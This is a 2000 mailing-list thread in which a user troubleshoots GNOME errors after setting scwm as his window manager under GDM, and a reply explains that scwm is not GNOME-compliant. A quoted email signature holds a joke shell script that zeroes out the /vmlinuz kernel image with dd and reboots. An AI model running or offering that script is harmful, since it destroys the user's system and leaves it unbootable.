i've finally learned my lesson the hard way. i've ditched scwm and
decided to give icewm another try - i'm begining to like it. i was
just under the impression that i can still use gnome apps with a
non-gnome compliant window manager minus some functionality. but then
again why sacrifice functionality when this is what gnome is giving.
now i know better.
On Tue, Jul 04, 2000 at 11:22:09AM -0700, Eric G . Miller wrote:
> You're making life difficult on yourself. I don't think Scwm is GNOME
> compliant -- so don't try to use it with GNOME. Select either the
> "Xsession" or "Debian" sessian option from GDM to use Scwm *without*
> GNOME. You really shouldn't need to muck with the scripts in /etc/gdm/,
> possibly the config file is all you should mess with.
>
> You might want to set x-window-manager to a GNOME compliant
> window-manager and just create a ~/.xession to use scwm. You might also
> want to install xsm so then you can create a bazillion different X
> session types. Up to you. There's no foolin' GNOME into using a
> non-GNOME compliant window-manager.
>
> On Tue, Jul 04, 2000 at 10:23:11AM -0400, Patrick Dahiroc wrote:
> > hi all
> >
> > i've recently changed my default window manager to scwm. however i
> > get the following gnome-error message when i login. (i login using
> > gdm)
> >
> > -- SNIP --
> > SESSION_MANAGER=local/yakko:/tmp/.ICE-unix/19601,tcp/yakko:2576
> > Gnome-Message: gnome_execute_async_with_env_fds: returning -1
> > /usr/bin/x-window-manager: invalid option -- c
> > /usr/bin/x-window-manager: invalid option -- l
> > [Scwm][main]: <<ERROR>> Unknown option: `-l'
> >
> >
> > Scwm Version 0.99.6.1
> > Usage: /usr/bin/x-window-manager [--display|-d dpy]
> > [--expression|-e expression]
> > [--file|-f rc_file] [--single-screen|-s]
> > [--gc-often|-g] [--debug|-D]
> > [--nobacktrace|-n] [--segv-cleanup-and-stop|-p] [--segv-just-stop|-P]
> > [--no-document-formals|-N]
> > [--blackout|-b] [--client-id id]
> > [--version|-V] [--help|-h]
> > Gnome-Message: gnome_execute_async_with_env_fds: returning -1
> > Gnome-Message: gnome_execute_async_with_env_fds: returning -1
> > Gnome-Message: gnome_execute_async_with_env_fds: returning -1
> > Gnome-Message: gnome_execute_async_with_env_fds: returning -1
> > Gnome-Message: gnome_execute_async_with_env_fds: returning -1
> > Gnome-Message: gnome_execute_async_with_env_fds: returning -1
> > subshell.c: couldn't get terminal settings: Inappropriate ioctl for device
> >
> > ** WARNING **: Root window clicks will not work as no GNOME-compliant
> > window manager could be found!
> >
> > GnomeUI-WARNING **: Could not open help topics file NULL
> >
> > GnomeUI-WARNING **: Could not open help topics file NULL
> >
> > GnomeUI-WARNING **: Could not open help topics file NULL
> >
> > GnomeUI-WARNING **: Could not open help topics file NULL
> > -- END SNIP --
> >
> > it seems like gnome is passing scwm options that scwm doesn't
> > use. does anybody when scwm is called. it looks like it's called
> > after the script /etc/gdm/Sessions/Gnome, but i have no idea what is
> > called after this script.
> >
> > thanks
> > pd
> >
> > --
> > "As a general rule, if you have trouble
> > with the binary system, then probably it
> > is because you do not really understand
> > the decimal system ..."
> > R.W. Hamming
> >
> >
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>
> --
> #! /bin/sh
> echo 'Linux Must Die!' | wall
> dd if=/dev/zero of=/vmlinuz bs=1 \
> count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
> shutdown -r now
>
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pd
--
"As a general rule, if you have trouble
with the binary system, then probably it
is because you do not really understand
the decimal system ..."
R.W. Hamming
